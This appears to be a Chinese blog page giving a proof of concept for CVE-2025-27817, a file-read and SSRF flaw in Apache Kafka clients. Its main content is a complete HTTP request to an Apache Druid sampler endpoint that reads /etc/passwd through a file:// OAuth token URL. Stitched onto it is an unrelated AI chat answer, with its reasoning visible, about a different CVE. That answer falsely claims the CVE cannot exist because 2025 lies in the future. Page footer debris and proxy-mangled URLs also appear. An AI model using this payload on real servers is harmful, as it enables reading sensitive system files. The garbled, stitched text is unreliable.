CVE-2025-27817 POC

Apache Kafka Clients 任意文件读取与 SSRF 漏洞

漏洞成因

该漏洞源于Apache Kafka Client在配置SASL/OAUTHBEARER连接时,对sasl.oauthbearer.token.endpoint.url和sasl.oauthbearer.jwks.endpoint.url参数的安全控制存在缺陷。攻击者可通过构造恶意URL参数,利用该缺陷实现任意文件读取或发起SSRF请求(访问非预期目标地址)。

影响范围

3.1.0 <= Apache Kafka <= 3.9.0

漏洞复现

读取 /etc/passwd

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Referer: http://your-ip:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Content-Type: application/json

{
  "type": "kafka",
  "spec": {
    "type": "kafka",
    "ioConfig": {
      "type": "kafka",
      "consumerProperties": {
        "bootstrap.servers": "127.0.0.1:6666",
        "sasl.mechanism": "OAUTHBEARER",
        "security.protocol": "SASL_SSL",
        "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
        "sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
        "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;"
      },
      "topic": "test",
      "useEarliestOffset": true,
      "inputFormat": {
        "type": "regex",
        "pattern": "([\\s\\S]*)",
        "listDelimiter": "",
        "columns": ["raw"]
      }
    },
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "!!!_no_such_column_!!!",
        "missingValue": "1970-01-01T00:00:00Z"
      },
      "dimensionsSpec": {},
      "granularitySpec": {
        "rollup": false
      }
    },
    "tuningConfig": {
      "type": "kafka"
    }
  },
  "samplerConfig": {
    "numRows": 500,
    "timeoutMs": 15000
  }
}

修复建议

Standalone模式:修改connect-standalone.properties中的listeners或rest.host.name字段Distributed模式:修改connect-distributed.properties中的listeners或rest.host.name字段使用流量防护设备(如WAF、防火墙)拦截/connectors接口请求中携带敏感文件路径的恶意流量

<think>好的,我需要回答用户关于CVE-2025-30208漏洞的PoC代码或信息的问题。首先,我应该检查用户提供的参考资料,看看是否有相关的信息。不过,用户给出的引用都是关于其他CVE的,比如CVE-2022-0847(DirtyPipe)、CVE-2020-16898(Windows TCP/IP漏洞)以及一些反序列化的建议,没有提到CVE-2025-30208。这说明这个CVE编号可能还不存在或者尚未公开。 接下来,我需要确认这个CVE编号的合理性。通常,CVE编号的年份部分代表分配的年份,而之后的数字是顺序号。CVE-2025-30208中的年份是2025年,这在当前(2023年)是不可能存在的,因为CVE编号是逐年分配的,未来的年份不会被提前使用。因此,这可能是一个虚构的或错误的编号,或者是用户输入时的笔误。 另外,我需要考虑用户可能存在的误解或输入错误。例如,是否可能是CVE-2023-30208或其他相近的编号?不过,用户明确提到的是2025年,所以可能性较低。此时,我应该告知用户该CVE编号目前不存在,并建议核实编号的正确性。 同时,我应该提供一些通用的建议,帮助用户如何查找PoC代码或漏洞信息,比如推荐官方CVE数据库、安全研究平台、GitHub等渠道,并提醒安全注意事项,避免执行未经验证的代码。 总结来说,我的回答应该分两部分:指出CVE编号的问题,并提供寻找PoC的通用方法。此外,需要确保回答符合用户要求的格式,如使用中文、正确引用标注等。</think>关于CVE-2025-30208漏洞的PoC代码或详细信息,当前公开的安全数据库中尚未收录该编号的漏洞信息,可能原因如下: 1. **编号有效性存疑** CVE编号通常遵循`CVE-年份-序号`的格式,但`2025`代表未来年份,目前(2023年)该编号尚未分配或不存在[^1]。建议确认编号准确性,例如是否混淆了年份(如`2023`)或序号。 2. **漏洞披露状态** 若漏洞真实存在但未公开,可能处于以下阶段: - 厂商修复中(Embargo阶段) - 研究机构内部分析阶段 - 未通过CVE官方审批流程 3. **潜在应对建议** - **官方渠道验证**:访问[CVE官方网站](https://cve.mitre.org/)或[NVD数据库](https://nvd.nist.gov/)查询编号有效性 - **安全社区检索**:在GitHub、Exploit-DB、Metasploit模块库中尝试关键词搜索 - **漏洞预警关注**:订阅安全厂商(如Rapid7、Tenable)的威胁情报推送 4. **安全操作提醒** 若发现疑似相关漏洞的代码,**切勿直接执行未经验证的PoC**。建议通过沙箱环境测试,并遵循以下原则: ```text 1. 隔离网络环境 2. 使用虚拟机或容器 3. 优先分析代码逻辑而非直接运行 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值